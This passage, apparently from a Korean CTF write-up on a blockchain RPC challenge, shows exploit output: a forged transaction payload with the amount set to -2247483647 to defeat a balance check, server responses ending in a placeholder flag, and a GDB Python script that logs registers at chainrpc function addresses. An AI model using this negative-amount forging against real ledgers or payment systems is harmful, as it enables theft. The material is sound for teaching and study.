"A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "Amount": 10000, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="}, {"From": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "To": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "Amount": 50, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}], "hash": "1a05060d", "prevHash": ""}], "transactionPool": [], "privateKey": "ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==", "publicKey": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "balance": 50}, "from": "CCCC"} [+] orig amount: 50 [+] new amount: -2247483647 [+] payload: {"type": 6, "args": {"blocks": [{"index": 0, "timestamp": "2024-03-08T04:57:24+09:00", "transactions": [{"From": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "To": "A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=", "Amount": 10000, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="}, {"From": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "To": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "Amount": 50, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}], "hash": "1a05060d", "prevHash": ""}], "transactionPool": [], "privateKey": "ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==", "publicKey": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "balance": 50, "From": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "To": "IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=", "Amount": -2247483647, "Fee": 0, "Timestamp": "2024-03-08T04:57:24+09:00", "Message": "", "Signature": "qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}, "from": "CCCC"} [*] Switching to interactive mode {"blocks":[{"index":0,"timestamp":"2024-03-08T04:57:24+09:00","transactions":[{"From":"A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=","To":"A/KyPk2E3zD5Aq3qw5/OJuhmMEeF8XZ8k/oewDO9ogE=","Amount":10000,"Fee":0,"Timestamp":"2024-03-08T04:57:24+09:00","Message":"","Signature":"0qf7IJJ2VZS6oa9FnTodiizamX5StE67TrbU2UCBNrmnFv1wK1ibYENIwh/7Bz0u1Q8v5Gmx4QE8alX+wwRvAg=="},{"From":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","To":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","Amount":50,"Fee":0,"Timestamp":"2024-03-08T04:57:24+09:00","Message":"","Signature":"qf8BRobRtmn75XmwCy0hiF5ODys7c4PY9B3fV/gcbaV7rRLTHfzRt0BitwH/a2i/S7E3z2uUXQxKmM1H1P9sCQ=="}],"hash":"1a05060d","prevHash":""}],"transactionPool":[]} Checking transaction Valid account. Restore Complete {"privateKey":"ytfr62yr84P8P7REsr8CGBFVNgShHXX9DLOD4j9rb9Uims4qsa1gFZvgjCSTtzLejcsC8y9uLzvu5IfVYY1NYg==","publicKey":"IprOKrGtYBWb4Iwkk7cy3o3LAvMvbi877uSH1WGNTWI=","balance":50} Sending transaction flag{fake_flag}
GDB Script
후킹으로 반환값과 매개변수를 알아보려했는데 안되서
GDB 스크립트로 대체.
import gdb # 주소별 함수 이름 매핑 START_HOOK_NAMES = { "0x4EA0E0": "chainrpc_pkg_command_getArgType", "0x4EA200": "chainrpc_pkg_command_ExecuteCommand", } END_HOOK_NAMES = { "0x4EA292": "chainrpc_pkg_command_getArgType", "0x4EAD65": "chainrpc_pkg_command_ExecuteCommand", } def get_hex_reg(reg): try: val = int(gdb.parse_and_eval(f"${reg}")) return hex(val) except gdb.error: return "0x0" class ChainrpcHook(gdb.Breakpoint): """START 지점 후킹""" def __init__(self, addr): super().__init__(f"*{addr}", gdb.BP_BREAKPOINT) self.addr = addr self.silent = True def stop(self): # 매핑된 함수 이름 가져오기 (없으면 주소 그대로) func = START_HOOK_NAMES.get(self.addr, self.addr) # 레지스터값 수집 regs = { r: get_hex_reg(r) for r in ("rip", "rax", "rbx", "rcx", "rdi", "rsi", "r8", "r9", "r10", "r11") } print(f">>> [START hook at {func} ({self.addr})]\n" f" RIP = {regs['rip']}\n" f" args = {regs}") return False class ChainrpcHookEnd(gdb.Breakpoint): """END 지점 후킹""" def __init__(self, addr): super().__init__(f"*{addr}", gdb.BP_BREAKPOINT) self.addr = addr self.silent = True def stop(self): # 매핑된 함수 이름 가져오기 (없으면 주소 그대로) func = END_HOOK_NAMES.get(self.addr, self.addr) regs = { r: get_hex_reg(r) for r in ("rip", "rax", "rbx", "rcx", "rdi", "rsi", "r8", "r9", "r10", "r11") } print(f">>> [END hook at {func} ({self.addr})]\n" f" RIP = {regs['rip']}\n" f" regs = {regs}") return False # START 후킹 주소들 for addr in START_HOOK_NAMES: ChainrpcHook(addr) # END 후킹 주소들 for addr in END_HOOK_NAMES: ChainrpcHookEnd(addr)